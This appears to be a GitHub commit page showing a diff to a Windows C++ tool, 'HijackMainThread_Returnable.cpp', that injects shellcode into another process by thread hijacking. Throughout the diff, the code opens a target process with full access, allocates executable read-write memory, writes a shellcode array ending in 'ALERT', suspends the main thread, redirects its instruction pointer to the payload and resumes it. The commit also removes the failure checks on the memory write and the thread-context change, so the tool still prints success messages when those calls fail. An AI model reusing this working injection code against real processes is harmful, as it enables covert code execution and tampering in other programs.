Skip to content

Commit 3a0833e

Browse files
committed
Improve Code
1 parent 1ce46d3 commit 3a0833e

2 files changed

Lines changed: 72 additions & 69 deletions

File tree

MonikaHijack/HijackMainThread_Returnable.cpp

Lines changed: 72 additions & 69 deletions
Original file line numberDiff line numberDiff line change
@@ -52,53 +52,62 @@ const BYTE shellcode[] = {
5252
'A', 'L', 'E', 'R', 'T', 0x00, // "ALERT"
5353
};
5454

55-
HANDLE hProcess = NULL;
55+
typedef struct InjectInfo
56+
{
57+
DWORD processId;
58+
HANDLE hProcess;
59+
DWORD mainThreadId;
60+
HANDLE hThread;
61+
LPVOID remoteMemory;
62+
} InjectInfo;
63+
64+
InjectInfo targetGalgame = { 0, 0, 0, 0, 0 };
5665

5766
// Function to get the PID of the target process by name
58-
DWORD GetProcessIdByName(const char* processName)
67+
void GetProcessIdByName(const char* processName)
5968
{
69+
targetGalgame.processId = 0;
6070
PROCESSENTRY32 pe32;
6171
pe32.dwSize = sizeof(PROCESSENTRY32);
6272

6373
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
6474
if (hProcessSnap == INVALID_HANDLE_VALUE)
65-
return 0;
75+
return;
6676

67-
DWORD processId = 0;
6877
if (Process32First(hProcessSnap, &pe32))
6978
{
7079
do
7180
{
7281
if (strcmp(pe32.szExeFile, processName) == 0)
7382
{
74-
processId = pe32.th32ProcessID;
83+
targetGalgame.processId = pe32.th32ProcessID;
7584
break;
7685
}
7786
} while (Process32Next(hProcessSnap, &pe32));
7887
}
7988

8089
CloseHandle(hProcessSnap);
81-
return processId;
90+
return;
8291
}
8392

8493
// Function to find the main thread of the target process
85-
DWORD GetMainThreadId(DWORD processId)
94+
void GetMainThreadId()
8695
{
96+
targetGalgame.mainThreadId = 0;
8797
THREADENTRY32 te32;
8898
te32.dwSize = sizeof(THREADENTRY32);
8999

90100
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
91101
if (hThreadSnap == INVALID_HANDLE_VALUE)
92-
return 0;
102+
return;
93103

94-
DWORD mainThreadId = 0;
95104
FILETIME earliestTime = { MAXDWORD, MAXDWORD };
96105

97106
if (Thread32First(hThreadSnap, &te32))
98107
{
99108
do
100109
{
101-
if (te32.th32OwnerProcessID == processId)
110+
if (te32.th32OwnerProcessID == targetGalgame.processId)
102111
{
103112
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, te32.th32ThreadID);
104113
if (hThread)
@@ -109,7 +118,7 @@ DWORD GetMainThreadId(DWORD processId)
109118
if (CompareFileTime(&creationTime, &earliestTime) < 0)
110119
{
111120
earliestTime = creationTime;
112-
mainThreadId = te32.th32ThreadID;
121+
targetGalgame.mainThreadId = te32.th32ThreadID;
113122
}
114123
}
115124
CloseHandle(hThread);
@@ -119,125 +128,119 @@ DWORD GetMainThreadId(DWORD processId)
119128
}
120129

121130
CloseHandle(hThreadSnap);
122-
return mainThreadId;
131+
return;
123132
}
124133

125134
// Function to inject shellcode into the target process and return the address of the remote memory
126-
LPVOID InjectShellcode(DWORD processId)
135+
void InjectShellcode()
127136
{
128-
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
129-
if (!hProcess)
137+
targetGalgame.remoteMemory = NULL;
138+
targetGalgame.hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetGalgame.processId);
139+
if (!targetGalgame.hProcess)
130140
{
131-
printf("Failed to open process with PID %lu\n", processId);
132-
return NULL;
141+
printf("Failed to open process with PID %lu\n", targetGalgame.processId);
142+
return;
133143
}
134-
135144
// Allocate memory in the target process
136-
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
137-
if (!remoteMemory)
145+
targetGalgame.remoteMemory = VirtualAllocEx(targetGalgame.hProcess, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
146+
if (!targetGalgame.remoteMemory)
138147
{
139148
printf("Failed to allocate memory in the target process\n");
140-
CloseHandle(hProcess);
141-
hProcess = NULL;
142-
return NULL;
149+
CloseHandle(targetGalgame.hProcess);
150+
targetGalgame.hProcess = NULL;
151+
return;
143152
}
144-
printf("Allocated RWX memory at address: 0x%p\n", remoteMemory);
145-
153+
printf("Allocated RWX memory at address: 0x%p\n", targetGalgame.remoteMemory);
146154
// Write the shellcode to the allocated memory
147-
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL))
148-
{
149-
printf("Failed to write shellcode to the allocated memory\n");
150-
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
151-
CloseHandle(hProcess);
152-
hProcess = NULL;
153-
return NULL;
154-
}
155+
WriteProcessMemory(targetGalgame.hProcess, targetGalgame.remoteMemory, shellcode, sizeof(shellcode), NULL);
155156
printf("Shellcode written to remote memory successfully\n");
156-
return remoteMemory;
157+
return;
157158
}
158159

159160
// Function to hijack the main thread and set its RIP to the injected shellcode
160-
bool HijackMainThread(DWORD mainThreadId, LPVOID shellcodeAddress)
161+
void HijackMainThread()
161162
{
162-
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, mainThreadId);
163-
if (!hThread)
163+
targetGalgame.hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, targetGalgame.mainThreadId);
164+
if (!targetGalgame.hThread)
164165
{
165-
printf("Failed to open main thread with TID %lu\n", mainThreadId);
166-
return false;
166+
printf("Failed to open main thread with TID %lu\n", targetGalgame.mainThreadId);
167+
return;
167168
}
168169

169170
// Suspend the thread and get its context
170-
SuspendThread(hThread);
171-
printf("Suspended main thread with TID %lu\n", mainThreadId);
171+
SuspendThread(targetGalgame.hThread);
172+
printf("Suspended main thread with TID %lu\n", targetGalgame.mainThreadId);
172173

173174
CONTEXT ctx;
174175
ctx.ContextFlags = CONTEXT_FULL;
175-
if (GetThreadContext(hThread, &ctx))
176+
if (GetThreadContext(targetGalgame.hThread, &ctx))
176177
{
177178
printf("Original RIP: 0x%p\n", (LPVOID)ctx.Rip);
178179
// Backup to RSP
179180
ctx.Rsp -= sizeof(LPVOID);
180181
// Write the original RIP to the stack
181-
WriteProcessMemory(hProcess, (LPVOID)ctx.Rsp, &ctx.Rip, sizeof(LPVOID), NULL);
182+
WriteProcessMemory(targetGalgame.hProcess, (LPVOID)ctx.Rsp, &ctx.Rip, sizeof(LPVOID), NULL);
182183
printf("Original RIP Pushed to Stack: 0x%p\n", (LPVOID)ctx.Rsp);
183184

184185
// Set RIP to the shellcode address
185-
ctx.Rip = (DWORD64)shellcodeAddress;
186-
printf("Hijacking RIP to address: 0x%p\n", shellcodeAddress);
186+
ctx.Rip = (DWORD64)targetGalgame.remoteMemory;
187+
printf("Hijacking RIP to address: 0x%p\n", targetGalgame.remoteMemory);
187188

188189
// Update the thread context
189-
if (!SetThreadContext(hThread, &ctx))
190-
{
191-
printf("Failed to set thread context\n");
192-
ResumeThread(hThread);
193-
CloseHandle(hThread);
194-
return false;
195-
}
190+
SetThreadContext(targetGalgame.hThread, &ctx);
196191
}
197192
else
198193
{
199194
printf("Failed to get thread context\n");
200-
ResumeThread(hThread);
201-
CloseHandle(hThread);
202-
return false;
195+
ResumeThread(targetGalgame.hThread);
196+
CloseHandle(targetGalgame.hThread);
197+
targetGalgame.hThread = NULL;
198+
return;
203199
}
204200

205201
// Resume the thread
206-
ResumeThread(hThread);
207-
printf("Resumed main thread with TID %lu\n", mainThreadId);
208-
CloseHandle(hThread);
209-
return true;
202+
ResumeThread(targetGalgame.hThread);
203+
printf("Resumed main thread with TID %lu\n", targetGalgame.mainThreadId);
204+
CloseHandle(targetGalgame.hThread);
205+
return;
210206
}
211207

212208
int main()
213209
{
214210
const char* targetProcessName = "target.exe"; // Replace with your target process name
215-
DWORD processId = GetProcessIdByName(targetProcessName);
211+
GetProcessIdByName(targetProcessName);
216212

217-
if (processId)
213+
if (targetGalgame.processId)
218214
{
219-
printf("Target process \"%s\" found with PID %lu\n", targetProcessName, processId);
215+
printf("Target process \"%s\" found with PID %lu\n", targetProcessName, targetGalgame.processId);
220216

221217
// Inject shellcode and get the remote memory address
222-
LPVOID remoteMemory = InjectShellcode(processId);
223-
if (remoteMemory)
218+
InjectShellcode();
219+
if (targetGalgame.remoteMemory)
224220
{
221+
printf("Shellcode injected successfully.\n");
225222
// Get the main thread ID
226-
DWORD mainThreadId = GetMainThreadId(processId);
227-
if (mainThreadId)
223+
GetMainThreadId();
224+
if (targetGalgame.mainThreadId)
228225
{
229-
printf("Main thread found with TID %lu\n", mainThreadId);
226+
printf("Main thread found with TID %lu\n", targetGalgame.mainThreadId);
230227

231228
// Hijack the main thread
232-
if (HijackMainThread(mainThreadId, remoteMemory))
233-
printf("Shellcode injected and main thread hijacked successfully.\n");
229+
HijackMainThread();
230+
if (targetGalgame.hThread)
231+
printf("Main thread hijacked successfully.\n");
234232
else
235233
printf("Failed to hijack main thread.\n");
236234
}
237235
else
238236
{
239237
printf("Failed to find main thread.\n");
240238
}
239+
// clean up, this might cause the target process glitch due to RWX memory being released
240+
//VirtualFreeEx(targetGalgame.hProcess, targetGalgame.remoteMemory, 0, MEM_RELEASE);
241+
//targetGalgame.remoteMemory = NULL;
242+
CloseHandle(targetGalgame.hProcess);
243+
targetGalgame.hProcess = NULL;
241244
}
242245
else
243246
{
-1.18 KB
Binary file not shown.

0 commit comments

Comments
 (0)